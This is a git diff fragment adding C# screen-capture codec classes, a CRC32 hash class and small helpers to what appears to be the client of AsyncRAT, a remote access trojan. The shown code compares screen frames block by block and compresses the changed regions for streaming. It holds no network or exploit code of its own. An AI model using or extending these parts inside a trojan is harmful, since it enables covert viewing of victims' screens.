|
||||
outStream.Write(BitConverter.GetBytes(rect.X), 0, 4);
|
||||
outStream.Write(BitConverter.GetBytes(rect.Y), 0, 4);
|
||||
outStream.Write(BitConverter.GetBytes(rect.Width), 0, 4);
|
||||
outStream.Write(BitConverter.GetBytes(rect.Height), 0, 4);
|
||||
outStream.Write(new byte[4], 0, 4);
|
||||
|
||||
long length = outStream.Position;
|
||||
long OldPos = outStream.Position;
|
||||
base.jpgCompression.Compress(TmpBmp, ref outStream);
|
||||
length = outStream.Position - length;
|
||||
|
||||
outStream.Position = OldPos - 4;
|
||||
outStream.Write(BitConverter.GetBytes((int)length), 0, 4);
|
||||
outStream.Position += length;
|
||||
|
||||
TmpBmp.Dispose();
|
||||
TotalDataLength += (int)length + (4 * 5);
|
||||
}
|
||||
outStream.Position = oldPos;
|
||||
outStream.Write(BitConverter.GetBytes(TotalDataLength), 0, 4);
|
||||
}
|
||||
|
||||
private unsafe List<Rectangle> ProcessChanges(IntPtr Scan0, Rectangle OutputRect, PixelFormat Format, int ImageWidth)
|
||||
{
|
||||
if (EncodeBuffer == null)
|
||||
{
|
||||
this.BlockWidth = (int)Math.Floor((float)(OutputRect.Width / CheckBlock.Width));
|
||||
this.BlockHeight = (int)Math.Floor((double)(OutputRect.Height / CheckBlock.Height));
|
||||
int TotalBlocks = (int)Math.Floor((float)(BlockHeight * BlockWidth));
|
||||
this.EncodeBuffer = new ulong[TotalBlocks];
|
||||
}
|
||||
|
||||
List<Rectangle> points = new List<Rectangle>();
|
||||
int StartScan = Scan0.ToInt32();
|
||||
|
||||
for (int y = OutputRect.Y; y < OutputRect.Height + OutputRect.Y; y += CheckBlock.Height)
|
||||
{
|
||||
if (y + CheckBlock.Height > OutputRect.Height)
|
||||
break;
|
||||
|
||||
for (int x = OutputRect.X; x < OutputRect.Width + OutputRect.X; x += CheckBlock.Width)
|
||||
{
|
||||
if (x + CheckBlock.Width > OutputRect.Width)
|
||||
break;
|
||||
|
||||
int EncodeOffset = GetOffset(x, y);
|
||||
long offset = FastBitmap.CalcImageOffset(x, y, Format, ImageWidth);
|
||||
ulong* ScanPtr = (ulong*)(StartScan + offset);
|
||||
|
||||
if (EncodeBuffer[EncodeOffset] != *ScanPtr)
|
||||
{
|
||||
EncodeBuffer[EncodeOffset] = *ScanPtr;
|
||||
|
||||
Rectangle cBlock = new Rectangle(x, y, CheckBlock.Width, CheckBlock.Height);
|
||||
int index = points.Count - 1;
|
||||
if (points.Count > 0 && (points[index].X + points[index].Width) == cBlock.X)
|
||||
{
|
||||
Rectangle rect = points[index];
|
||||
int newWidth = cBlock.Width + rect.Width;
|
||||
cBlock = new Rectangle(rect.X, rect.Y, newWidth, rect.Height);
|
||||
points[index] = cBlock;
|
||||
}
|
||||
else
|
||||
{
|
||||
points.Add(cBlock);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return points;
|
||||
}
|
||||
|
||||
private Point GetOffsetPoint(int x, int y)
|
||||
{
|
||||
return new Point((int)Math.Floor((float)(y / CheckBlock.Height)) * BlockWidth,
|
||||
(int)Math.Floor((double)(x / CheckBlock.Width)));
|
||||
}
|
||||
|
||||
private int GetOffset(int x, int y)
|
||||
{
|
||||
return (int)Math.Floor((float)(y / CheckBlock.Height)) * BlockWidth +
|
||||
(int)Math.Floor((double)(x / CheckBlock.Width));
|
||||
}
|
||||
|
||||
public override unsafe System.Drawing.Bitmap DecodeData(System.IO.Stream inStream)
|
||||
{
|
||||
byte[] temp = new byte[4];
|
||||
inStream.Read(temp, 0, 4);
|
||||
int DataSize = BitConverter.ToInt32(temp, 0);
|
||||
|
||||
if (decodedBitmap == null)
|
||||
{
|
||||
temp = new byte[DataSize];
|
||||
inStream.Read(temp, 0, temp.Length);
|
||||
this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
|
||||
return decodedBitmap;
|
||||
}
|
||||
|
||||
List<Rectangle> updates = new List<Rectangle>();
|
||||
Rectangle rect;
|
||||
Graphics g = Graphics.FromImage(decodedBitmap);
|
||||
Bitmap tmp;
|
||||
byte[] buffer = null;
|
||||
MemoryStream m;
|
||||
|
||||
while (DataSize > 0)
|
||||
{
|
||||
byte[] tempData = new byte[4 * 5];
|
||||
inStream.Read(tempData, 0, tempData.Length);
|
||||
|
||||
rect = new Rectangle(BitConverter.ToInt32(tempData, 0), BitConverter.ToInt32(tempData, 4),
|
||||
BitConverter.ToInt32(tempData, 8), BitConverter.ToInt32(tempData, 12));
|
||||
int UpdateLen = BitConverter.ToInt32(tempData, 16);
|
||||
buffer = new byte[UpdateLen];
|
||||
inStream.Read(buffer, 0, buffer.Length);
|
||||
|
||||
if (onDecodeDebugScan != null)
|
||||
onDecodeDebugScan(rect);
|
||||
|
||||
m = new MemoryStream(buffer);
|
||||
tmp = (Bitmap)Image.FromStream(m);
|
||||
g.DrawImage(tmp, rect.Location);
|
||||
tmp.Dispose();
|
||||
|
||||
m.Close();
|
||||
m.Dispose();
|
||||
DataSize -= UpdateLen + (4 * 5);
|
||||
}
|
||||
g.Dispose();
|
||||
return decodedBitmap;
|
||||
}
|
||||
|
||||
public override unsafe System.Drawing.Bitmap DecodeData(IntPtr CodecBuffer, uint Length)
|
||||
{
|
||||
if (Length < 4)
|
||||
return decodedBitmap;
|
||||
|
||||
int DataSize = *(int*)(CodecBuffer);
|
||||
if (decodedBitmap == null)
|
||||
{
|
||||
byte[] temp = new byte[DataSize];
|
||||
fixed (byte* tempPtr = temp)
|
||||
{
|
||||
NativeMethods.memcpy(new IntPtr(tempPtr), new IntPtr(CodecBuffer.ToInt32() + 4), (uint)DataSize);
|
||||
}
|
||||
|
||||
this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
|
||||
return decodedBitmap;
|
||||
}
|
||||
|
||||
byte* bufferPtr = (byte*)CodecBuffer.ToInt32();
|
||||
if (DataSize > 0)
|
||||
{
|
||||
Graphics g = Graphics.FromImage(decodedBitmap);
|
||||
for (int i = 4; DataSize > 0; )
|
||||
{
|
||||
Rectangle rect = new Rectangle(*(int*)(bufferPtr + i), *(int*)(bufferPtr + i + 4),
|
||||
*(int*)(bufferPtr + i + 8), *(int*)(bufferPtr + i + 12));
|
||||
int UpdateLen = *(int*)(bufferPtr + i + 16);
|
||||
byte[] temp = new byte[UpdateLen];
|
||||
|
||||
fixed (byte* tempPtr = temp)
|
||||
{
|
||||
NativeMethods.memcpy(new IntPtr(tempPtr), new IntPtr(CodecBuffer.ToInt32() + i + 20), (uint)UpdateLen);
|
||||
using (Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, rect.Width * 3, decodedBitmap.PixelFormat, new IntPtr(tempPtr)))
|
||||
{
|
||||
g.DrawImage(TmpBmp, new Point(rect.X, rect.Y));
|
||||
}
|
||||
}
|
||||
DataSize -= UpdateLen + (4 * 5);
|
||||
i += UpdateLen + (4 * 5);
|
||||
}
|
||||
g.Dispose();
|
||||
}
|
||||
return decodedBitmap;
|
||||
}
|
||||
}
|
||||
}
|
||||
@ -0,0 +1,363 @@
|
||||
using StreamLibrary.src;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Drawing;
|
||||
using System.Drawing.Imaging;
|
||||
using System.IO;
|
||||
using System.Text;
|
||||
|
||||
namespace StreamLibrary.UnsafeCodecs
|
||||
{
|
||||
public class UnsafeStreamCodec : IUnsafeCodec
|
||||
{
|
||||
public override ulong CachedSize
|
||||
{
|
||||
get;
|
||||
internal set;
|
||||
}
|
||||
|
||||
public override int BufferCount
|
||||
{
|
||||
get { return 1; }
|
||||
}
|
||||
|
||||
public override CodecOption CodecOptions
|
||||
{
|
||||
get { return CodecOption.RequireSameSize; }
|
||||
}
|
||||
|
||||
public Size CheckBlock { get; private set; }
|
||||
private byte[] EncodeBuffer;
|
||||
private Bitmap decodedBitmap;
|
||||
private PixelFormat EncodedFormat;
|
||||
private int EncodedWidth;
|
||||
private int EncodedHeight;
|
||||
public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan;
|
||||
public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan;
|
||||
|
||||
bool UseJPEG;
|
||||
|
||||
/// <summary>
|
||||
/// Initialize a new object of UnsafeStreamCodec
|
||||
/// </summary>
|
||||
/// <param name="ImageQuality">The quality to use between 0-100</param>
|
||||
public UnsafeStreamCodec(int ImageQuality = 100, bool UseJPEG = true)
|
||||
: base(ImageQuality)
|
||||
{
|
||||
this.CheckBlock = new Size(50, 1);
|
||||
this.UseJPEG = UseJPEG;
|
||||
}
|
||||
|
||||
public override unsafe void CodeImage(IntPtr Scan0, Rectangle ScanArea, Size ImageSize, PixelFormat Format, Stream outStream)
|
||||
{
|
||||
lock (ImageProcessLock)
|
||||
{
|
||||
byte* pScan0 = (byte*)Scan0.ToInt32();
|
||||
if (!outStream.CanWrite)
|
||||
throw new Exception("Must have access to Write in the Stream");
|
||||
|
||||
int Stride = 0;
|
||||
int RawLength = 0;
|
||||
int PixelSize = 0;
|
||||
|
||||
switch (Format)
|
||||
{
|
||||
case PixelFormat.Format24bppRgb:
|
||||
case PixelFormat.Format32bppRgb:
|
||||
PixelSize = 3;
|
||||
break;
|
||||
case PixelFormat.Format32bppArgb:
|
||||
case PixelFormat.Format32bppPArgb:
|
||||
PixelSize = 4;
|
||||
break;
|
||||
default:
|
||||
throw new NotSupportedException(Format.ToString());
|
||||
}
|
||||
|
||||
Stride = ImageSize.Width * PixelSize;
|
||||
RawLength = Stride * ImageSize.Height;
|
||||
|
||||
if (EncodeBuffer == null)
|
||||
{
|
||||
this.EncodedFormat = Format;
|
||||
this.EncodedWidth = ImageSize.Width;
|
||||
this.EncodedHeight = ImageSize.Height;
|
||||
this.EncodeBuffer = new byte[RawLength];
|
||||
fixed (byte* ptr = EncodeBuffer)
|
||||
{
|
||||
byte[] temp = null;
|
||||
using (Bitmap TmpBmp = new Bitmap(ImageSize.Width, ImageSize.Height, Stride, Format, Scan0))
|
||||
{
|
||||
temp = base.jpgCompression.Compress(TmpBmp);
|
||||
}
|
||||
|
||||
outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4);
|
||||
outStream.Write(temp, 0, temp.Length);
|
||||
NativeMethods.memcpy(new IntPtr(ptr), Scan0, (uint)RawLength);
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
long oldPos = outStream.Position;
|
||||
outStream.Write(new byte[4], 0, 4);
|
||||
int TotalDataLength = 0;
|
||||
|
||||
if (this.EncodedFormat != Format)
|
||||
throw new Exception("PixelFormat is not equal to previous Bitmap");
|
||||
|
||||
if (this.EncodedWidth != ImageSize.Width || this.EncodedHeight != ImageSize.Height)
|
||||
throw new Exception("Bitmap width/height are not equal to previous bitmap");
|
||||
|
||||
List<Rectangle> Blocks = new List<Rectangle>();
|
||||
int index = 0;
|
||||
|
||||
Size s = new Size(ScanArea.Width, CheckBlock.Height);
|
||||
Size lastSize = new Size(ScanArea.Width % CheckBlock.Width, ScanArea.Height % CheckBlock.Height);
|
||||
|
||||
int lasty = ScanArea.Height - lastSize.Height;
|
||||
int lastx = ScanArea.Width - lastSize.Width;
|
||||
|
||||
Rectangle cBlock = new Rectangle();
|
||||
List<Rectangle> finalUpdates = new List<Rectangle>();
|
||||
|
||||
s = new Size(ScanArea.Width, s.Height);
|
||||
fixed (byte* encBuffer = EncodeBuffer)
|
||||
{
|
||||
for (int y = ScanArea.Y; y != ScanArea.Height; )
|
||||
{
|
||||
if (y == lasty)
|
||||
s = new Size(ScanArea.Width, lastSize.Height);
|
||||
cBlock = new Rectangle(ScanArea.X, y, ScanArea.Width, s.Height);
|
||||
|
||||
if (onCodeDebugScan != null)
|
||||
onCodeDebugScan(cBlock);
|
||||
|
||||
int offset = (y * Stride) + (ScanArea.X * PixelSize);
|
||||
if (NativeMethods.memcmp(encBuffer + offset, pScan0 + offset, (uint)Stride) != 0)
|
||||
{
|
||||
index = Blocks.Count - 1;
|
||||
if (Blocks.Count != 0 && (Blocks[index].Y + Blocks[index].Height) == cBlock.Y)
|
||||
{
|
||||
cBlock = new Rectangle(Blocks[index].X, Blocks[index].Y, Blocks[index].Width, Blocks[index].Height + cBlock.Height);
|
||||
Blocks[index] = cBlock;
|
||||
}
|
||||
else
|
||||
{
|
||||
Blocks.Add(cBlock);
|
||||
}
|
||||
}
|
||||
y += s.Height;
|
||||
}
|
||||
|
||||
for (int i = 0, x = ScanArea.X; i < Blocks.Count; i++)
|
||||
{
|
||||
s = new Size(CheckBlock.Width, Blocks[i].Height);
|
||||
x = ScanArea.X;
|
||||
while (x != ScanArea.Width)
|
||||
{
|
||||
if (x == lastx)
|
||||
s = new Size(lastSize.Width, Blocks[i].Height);
|
||||
|
||||
cBlock = new Rectangle(x, Blocks[i].Y, s.Width, Blocks[i].Height);
|
||||
bool FoundChanges = false;
|
||||
int blockStride = PixelSize * cBlock.Width;
|
||||
|
||||
for (int j = 0; j < cBlock.Height; j++)
|
||||
{
|
||||
int blockOffset = (Stride * (cBlock.Y+j)) + (PixelSize * cBlock.X);
|
||||
if (NativeMethods.memcmp(encBuffer + blockOffset, pScan0 + blockOffset, (uint)blockStride) != 0)
|
||||
FoundChanges = true;
|
||||
NativeMethods.memcpy(encBuffer + blockOffset, pScan0 + blockOffset, (uint)blockStride); //copy-changes
|
||||
}
|
||||
|
||||
if (onCodeDebugScan != null)
|
||||
onCodeDebugScan(cBlock);
|
||||
|
||||
if(FoundChanges)
|
||||
{
|
||||
index = finalUpdates.Count - 1;
|
||||
if (finalUpdates.Count > 0 && (finalUpdates[index].X + finalUpdates[index].Width) == cBlock.X)
|
||||
{
|
||||
Rectangle rect = finalUpdates[index];
|
||||
int newWidth = cBlock.Width + rect.Width;
|
||||
cBlock = new Rectangle(rect.X, rect.Y, newWidth, rect.Height);
|
||||
finalUpdates[index] = cBlock;
|
||||
}
|
||||
else
|
||||
{
|
||||
finalUpdates.Add(cBlock);
|
||||
}
|
||||
}
|
||||
x += s.Width;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/*int maxHeight = 0;
|
||||
int maxWidth = 0;
|
||||
|
||||
for (int i = 0; i < finalUpdates.Count; i++)
|
||||
{
|
||||
if (finalUpdates[i].Height > maxHeight)
|
||||
maxHeight = finalUpdates[i].Height;
|
||||
maxWidth += finalUpdates[i].Width;
|
||||
}
|
||||
|
||||
Bitmap bmp = new Bitmap(maxWidth+1, maxHeight+1);
|
||||
int XOffset = 0;*/
|
||||
|
||||
for (int i = 0; i < finalUpdates.Count; i++)
|
||||
{
|
||||
Rectangle rect = finalUpdates[i];
|
||||
int blockStride = PixelSize * rect.Width;
|
||||
|
||||
Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, Format);
|
||||
BitmapData TmpData = TmpBmp.LockBits(new Rectangle(0, 0, TmpBmp.Width, TmpBmp.Height), ImageLockMode.ReadWrite, TmpBmp.PixelFormat);
|
||||
for (int j = 0, offset = 0; j < rect.Height; j++)
|
||||
{
|
||||
int blockOffset = (Stride * (rect.Y + j)) + (PixelSize * rect.X);
|
||||
NativeMethods.memcpy((byte*)TmpData.Scan0.ToPointer() + offset, pScan0 + blockOffset, (uint)blockStride); //copy-changes
|
||||
offset += blockStride;
|
||||
}
|
||||
TmpBmp.UnlockBits(TmpData);
|
||||
|
||||
/*using (Graphics g = Graphics.FromImage(bmp))
|
||||
{
|
||||
g.DrawImage(TmpBmp, new Point(XOffset, 0));
|
||||
}
|
||||
XOffset += TmpBmp.Width;*/
|
||||
|
||||
outStream.Write(BitConverter.GetBytes(rect.X), 0, 4);
|
||||
outStream.Write(BitConverter.GetBytes(rect.Y), 0, 4);
|
||||
outStream.Write(BitConverter.GetBytes(rect.Width), 0, 4);
|
||||
outStream.Write(BitConverter.GetBytes(rect.Height), 0, 4);
|
||||
outStream.Write(new byte[4], 0, 4);
|
||||
|
||||
long length = outStream.Length;
|
||||
long OldPos = outStream.Position;
|
||||
|
||||
if (UseJPEG)
|
||||
{
|
||||
base.jpgCompression.Compress(TmpBmp, ref outStream);
|
||||
}
|
||||
else
|
||||
{
|
||||
base.lzwCompression.Compress(TmpBmp, outStream);
|
||||
}
|
||||
|
||||
length = outStream.Position - length;
|
||||
|
||||
outStream.Position = OldPos - 4;
|
||||
outStream.Write(BitConverter.GetBytes((int)length), 0, 4);
|
||||
outStream.Position += length;
|
||||
TmpBmp.Dispose();
|
||||
TotalDataLength += (int)length + (4 * 5);
|
||||
}
|
||||
|
||||
/*if (finalUpdates.Count > 0)
|
||||
{
|
||||
byte[] lele = base.jpgCompression.Compress(bmp);
|
||||
byte[] compressed = new SafeQuickLZ().compress(lele, 0, lele.Length, 1);
|
||||
bool Won = lele.Length < outStream.Length;
|
||||
bool CompressWon = compressed.Length < outStream.Length;
|
||||
Console.WriteLine(Won + ", " + CompressWon);
|
||||
}
|
||||
bmp.Dispose();*/
|
||||
|
||||
outStream.Position = oldPos;
|
||||
outStream.Write(BitConverter.GetBytes(TotalDataLength), 0, 4);
|
||||
Blocks.Clear();
|
||||
finalUpdates.Clear();
|
||||
}
|
||||
}
|
||||
|
||||
public override unsafe Bitmap DecodeData(IntPtr CodecBuffer, uint Length)
|
||||
{
|
||||
if (Length < 4)
|
||||
return decodedBitmap;
|
||||
|
||||
int DataSize = *(int*)(CodecBuffer);
|
||||
if (decodedBitmap == null)
|
||||
{
|
||||
byte[] temp = new byte[DataSize];
|
||||
fixed (byte* tempPtr = temp)
|
||||
{
|
||||
NativeMethods.memcpy(new IntPtr(tempPtr), new IntPtr(CodecBuffer.ToInt32() + 4), (uint)DataSize);
|
||||
}
|
||||
|
||||
this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
|
||||
return decodedBitmap;
|
||||
}
|
||||
return decodedBitmap;
|
||||
byte* bufferPtr = (byte*)CodecBuffer.ToInt32();
|
||||
if (DataSize > 0)
|
||||
{
|
||||
Graphics g = Graphics.FromImage(decodedBitmap);
|
||||
for (int i = 4; DataSize > 0; )
|
||||
{
|
||||
Rectangle rect = new Rectangle(*(int*)(bufferPtr + i), *(int*)(bufferPtr + i + 4),
|
||||
*(int*)(bufferPtr + i + 8), *(int*)(bufferPtr + i + 12));
|
||||
int UpdateLen = *(int*)(bufferPtr + i + 16);
|
||||
byte[] temp = new byte[UpdateLen];
|
||||
|
||||
fixed(byte* tempPtr = temp)
|
||||
{
|
||||
NativeMethods.memcpy(new IntPtr(tempPtr), new IntPtr(CodecBuffer.ToInt32() + i + 20), (uint)UpdateLen);
|
||||
using (Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, rect.Width * 3, decodedBitmap.PixelFormat, new IntPtr(tempPtr)))
|
||||
{
|
||||
g.DrawImage(TmpBmp, new Point(rect.X, rect.Y));
|
||||
}
|
||||
}
|
||||
DataSize -= UpdateLen + (4 * 5);
|
||||
i += UpdateLen + (4 * 5);
|
||||
}
|
||||
g.Dispose();
|
||||
}
|
||||
return decodedBitmap;
|
||||
}
|
||||
|
||||
public override Bitmap DecodeData(Stream inStream)
|
||||
{
|
||||
byte[] temp = new byte[4];
|
||||
inStream.Read(temp, 0, 4);
|
||||
int DataSize = BitConverter.ToInt32(temp, 0);
|
||||
|
||||
if (decodedBitmap == null)
|
||||
{
|
||||
temp = new byte[DataSize];
|
||||
inStream.Read(temp, 0, temp.Length);
|
||||
this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
|
||||
return decodedBitmap;
|
||||
}
|
||||
|
||||
using (Graphics g = Graphics.FromImage(decodedBitmap))
|
||||
{
|
||||
while (DataSize > 0)
|
||||
{
|
||||
byte[] tempData = new byte[4 * 5];
|
||||
inStream.Read(tempData, 0, tempData.Length);
|
||||
|
||||
Rectangle rect = new Rectangle(BitConverter.ToInt32(tempData, 0), BitConverter.ToInt32(tempData, 4),
|
||||
BitConverter.ToInt32(tempData, 8), BitConverter.ToInt32(tempData, 12));
|
||||
int UpdateLen = BitConverter.ToInt32(tempData, 16);
|
||||
tempData = null;
|
||||
|
||||
byte[] buffer = new byte[UpdateLen];
|
||||
inStream.Read(buffer, 0, buffer.Length);
|
||||
|
||||
if (onDecodeDebugScan != null)
|
||||
onDecodeDebugScan(rect);
|
||||
|
||||
using (MemoryStream m = new MemoryStream(buffer))
|
||||
using (Bitmap tmp = (Bitmap)Image.FromStream(m))
|
||||
{
|
||||
g.DrawImage(tmp, rect.Location);
|
||||
}
|
||||
buffer = null;
|
||||
DataSize -= UpdateLen + (4 * 5);
|
||||
}
|
||||
}
|
||||
return decodedBitmap;
|
||||
}
|
||||
}
|
||||
}
|
||||
186
AsyncRAT-C#/Client/StreamLibrary/src/CRC32.cs
Normal file
186
AsyncRAT-C#/Client/StreamLibrary/src/CRC32.cs
Normal file
@ -0,0 +1,186 @@
|
||||
// Tamir Khason http://khason.net/
|
||||
//
|
||||
// Released under MS-PL : 6-Apr-09
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Text;
|
||||
using System.Security.Cryptography;
|
||||
using System.Collections;
|
||||
using System.IO;
|
||||
|
||||
namespace StreamLibrary.src
|
||||
{
|
||||
/// <summary>Implements a 32-bits cyclic redundancy check (CRC) hash algorithm.</summary>
|
||||
/// <remarks>This class is not intended to be used for security purposes. For security applications use MD5, SHA1, SHA256, SHA384,
|
||||
/// or SHA512 in the System.Security.Cryptography namespace.</remarks>
|
||||
public class CRC32 : HashAlgorithm
|
||||
{
|
||||
#region CONSTRUCTORS
|
||||
/// <summary>Creates a CRC32 object using the <see cref="DefaultPolynomial"/>.</summary>
|
||||
public CRC32()
|
||||
: this(DefaultPolynomial)
|
||||
{
|
||||
}
|
||||
|
||||
/// <summary>Creates a CRC32 object using the specified polynomial.</summary>
|
||||
/// <remarks>The polynomical should be supplied in its bit-reflected form. <see cref="DefaultPolynomial"/>.</remarks>
|
||||
public CRC32(uint polynomial)
|
||||
{
|
||||
HashSizeValue = 32;
|
||||
_crc32Table = (uint[])_crc32TablesCache[polynomial];
|
||||
if (_crc32Table == null)
|
||||
{
|
||||
_crc32Table = CRC32._buildCRC32Table(polynomial);
|
||||
_crc32TablesCache.Add(polynomial, _crc32Table);
|
||||
}
|
||||
Initialize();
|
||||
}
|
||||
|
||||
// static constructor
|
||||
static CRC32()
|
||||
{
|
||||
_crc32TablesCache = Hashtable.Synchronized(new Hashtable());
|
||||
_defaultCRC = new CRC32();
|
||||
}
|
||||
#endregion
|
||||
|
||||
#region PROPERTIES
|
||||
/// <summary>Gets the default polynomial (used in WinZip, Ethernet, etc.)</summary>
|
||||
/// <remarks>The default polynomial is a bit-reflected version of the standard polynomial 0x04C11DB7 used by WinZip, Ethernet, etc.</remarks>
|
||||
public static readonly uint DefaultPolynomial = 0xEDB88320; // Bitwise reflection of 0x04C11DB7;
|
||||
#endregion
|
||||
|
||||
#region METHODS
|
||||
/// <summary>Initializes an implementation of HashAlgorithm.</summary>
|
||||
public override void Initialize()
|
||||
{
|
||||
_crc = _allOnes;
|
||||
}
|
||||
|
||||
/// <summary>Routes data written to the object into the hash algorithm for computing the hash.</summary>
|
||||
protected override void HashCore(byte[] buffer, int offset, int count)
|
||||
{
|
||||
for (int i = offset; i < count; i++)
|
||||
{
|
||||
ulong ptr = (_crc & 0xFF) ^ buffer[i];
|
||||
_crc >>= 8;
|
||||
_crc ^= _crc32Table[ptr];
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>Finalizes the hash computation after the last data is processed by the cryptographic stream object.</summary>
|
||||
protected override byte[] HashFinal()
|
||||
{
|
||||
byte[] finalHash = new byte[4];
|
||||
ulong finalCRC = _crc ^ _allOnes;
|
||||
|
||||
finalHash[0] = (byte)((finalCRC >> 0) & 0xFF);
|
||||
finalHash[1] = (byte)((finalCRC >> 8) & 0xFF);
|
||||
finalHash[2] = (byte)((finalCRC >> 16) & 0xFF);
|
||||
finalHash[3] = (byte)((finalCRC >> 24) & 0xFF);
|
||||
|
||||
return finalHash;
|
||||
}
|
||||
|
||||
/// <summary>Computes the CRC32 value for the given ASCII string using the <see cref="DefaultPolynomial"/>.</summary>
|
||||
public static int Compute(string asciiString)
|
||||
{
|
||||
_defaultCRC.Initialize();
|
||||
return ToInt32(_defaultCRC.ComputeHash(asciiString));
|
||||
}
|
||||
|
||||
/// <summary>Computes the CRC32 value for the given input stream using the <see cref="DefaultPolynomial"/>.</summary>
|
||||
public static int Compute(Stream inputStream)
|
||||
{
|
||||
_defaultCRC.Initialize();
|
||||
return ToInt32(_defaultCRC.ComputeHash(inputStream));
|
||||
}
|
||||
|
||||
/// <summary>Computes the CRC32 value for the input data using the <see cref="DefaultPolynomial"/>.</summary>
|
||||
public static int Compute(byte[] buffer)
|
||||
{
|
||||
_defaultCRC.Initialize();
|
||||
return ToInt32(_defaultCRC.ComputeHash(buffer));
|
||||
}
|
||||
|
||||
/// <summary>Computes the hash value for the input data using the <see cref="DefaultPolynomial"/>.</summary>
|
||||
public static int Compute(byte[] buffer, int offset, int count)
|
||||
{
|
||||
_defaultCRC.Initialize();
|
||||
return ToInt32(_defaultCRC.ComputeHash(buffer, offset, count));
|
||||
}
|
||||
|
||||
/// <summary>Computes the hash value for the given ASCII string.</summary>
|
||||
/// <remarks>The computation preserves the internal state between the calls, so it can be used for computation of a stream data.</remarks>
|
||||
public byte[] ComputeHash(string asciiString)
|
||||
{
|
||||
byte[] rawBytes = ASCIIEncoding.ASCII.GetBytes(asciiString);
|
||||
return ComputeHash(rawBytes);
|
||||
}
|
||||
|
||||
/// <summary>Computes the hash value for the given input stream.</summary>
|
||||
/// <remarks>The computation preserves the internal state between the calls, so it can be used for computation of a stream data.</remarks>
|
||||
new public byte[] ComputeHash(Stream inputStream)
|
||||
{
|
||||
byte[] buffer = new byte[4096];
|
||||
int bytesRead;
|
||||
while ((bytesRead = inputStream.Read(buffer, 0, 4096)) > 0)
|
||||
{
|
||||
HashCore(buffer, 0, bytesRead);
|
||||
}
|
||||
return HashFinal();
|
||||
}
|
||||
|
||||
/// <summary>Computes the hash value for the input data.</summary>
|
||||
/// <remarks>The computation preserves the internal state between the calls, so it can be used for computation of a stream data.</remarks>
|
||||
new public byte[] ComputeHash(byte[] buffer)
|
||||
{
|
||||
return ComputeHash(buffer, 0, buffer.Length);
|
||||
}
|
||||
|
||||
/// <summary>Computes the hash value for the input data.</summary>
|
||||
/// <remarks>The computation preserves the internal state between the calls, so it can be used for computation of a stream data.</remarks>
|
||||
new public byte[] ComputeHash(byte[] buffer, int offset, int count)
|
||||
{
|
||||
HashCore(buffer, offset, count);
|
||||
return HashFinal();
|
||||
}
|
||||
#endregion
|
||||
|
||||
#region PRIVATE SECTION
|
||||
private static uint _allOnes = 0xffffffff;
|
||||
private static CRC32 _defaultCRC;
|
||||
private static Hashtable _crc32TablesCache;
|
||||
private uint[] _crc32Table;
|
||||
private uint _crc;
|
||||
|
||||
// Builds a crc32 table given a polynomial
|
||||
private static uint[] _buildCRC32Table(uint polynomial)
|
||||
{
|
||||
uint crc;
|
||||
uint[] table = new uint[256];
|
||||
|
||||
// 256 values representing ASCII character codes.
|
||||
for (int i = 0; i < 256; i++)
|
||||
{
|
||||
crc = (uint)i;
|
||||
for (int j = 8; j > 0; j--)
|
||||
{
|
||||
if ((crc & 1) == 1)
|
||||
crc = (crc >> 1) ^ polynomial;
|
||||
else
|
||||
crc >>= 1;
|
||||
}
|
||||
table[i] = crc;
|
||||
}
|
||||
|
||||
return table;
|
||||
}
|
||||
|
||||
private static int ToInt32(byte[] buffer)
|
||||
{
|
||||
return BitConverter.ToInt32(buffer, 0);
|
||||
}
|
||||
#endregion
|
||||
}
|
||||
}
|
||||
12
AsyncRAT-C#/Client/StreamLibrary/src/ExtensionAttribute.cs
Normal file
12
AsyncRAT-C#/Client/StreamLibrary/src/ExtensionAttribute.cs
Normal file
@ -0,0 +1,12 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Text;
|
||||
|
||||
namespace System.Runtime.CompilerServices
|
||||
{
|
||||
[AttributeUsage(AttributeTargets.Method)]
|
||||
public sealed class ExtensionAttribute : Attribute
|
||||
{
|
||||
public ExtensionAttribute() { }
|
||||
}
|
||||
}
|
||||
59
AsyncRAT-C#/Client/StreamLibrary/src/Extentions.cs
Normal file
59
AsyncRAT-C#/Client/StreamLibrary/src/Extentions.cs
Normal file
@ -0,0 +1,59 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Drawing;
|
||||
using System.Text;
|
||||
|
||||
namespace StreamLibrary.src
|
||||
{
|
||||
public static unsafe class Extensions
|
||||
{
|
||||
public static SortedList<int, SortedList<int, Rectangle>> RectanglesTo2D(this Rectangle[] rects)
|
||||
{
|
||||
SortedList<int, SortedList<int, Rectangle>> Rects = new SortedList<int, SortedList<int, Rectangle>>();
|
||||
for (int i = 0; i < rects.Length; i++)
|
||||
{
|
||||
if (!Rects.ContainsKey(rects[i].Y))
|
||||
Rects.Add(rects[i].Y, new SortedList<int, Rectangle>());
|
||||
|
||||
if (!Rects[rects[i].Y].ContainsKey(rects[i].X))
|
||||
Rects[rects[i].Y].Add(rects[i].X, rects[i]);
|
||||
}
|
||||
return Rects;
|
||||
}
|
||||
|
||||
public static SortedList<int, SortedList<int, Rectangle>> Rectangle2DToRows(this SortedList<int, SortedList<int, Rectangle>> Rects)
|
||||
{
|
||||
SortedList<int, SortedList<int, Rectangle>> RectRows = new SortedList<int, SortedList<int, Rectangle>>();
|
||||
|
||||
for (int i = 0; i < Rects.Values.Count; i++)
|
||||
{
|
||||
if (!RectRows.ContainsKey(Rects.Values[i].Values[0].Y))
|
||||
{
|
||||
RectRows.Add(Rects.Values[i].Values[0].Y, new SortedList<int, Rectangle>());
|
||||
}
|
||||
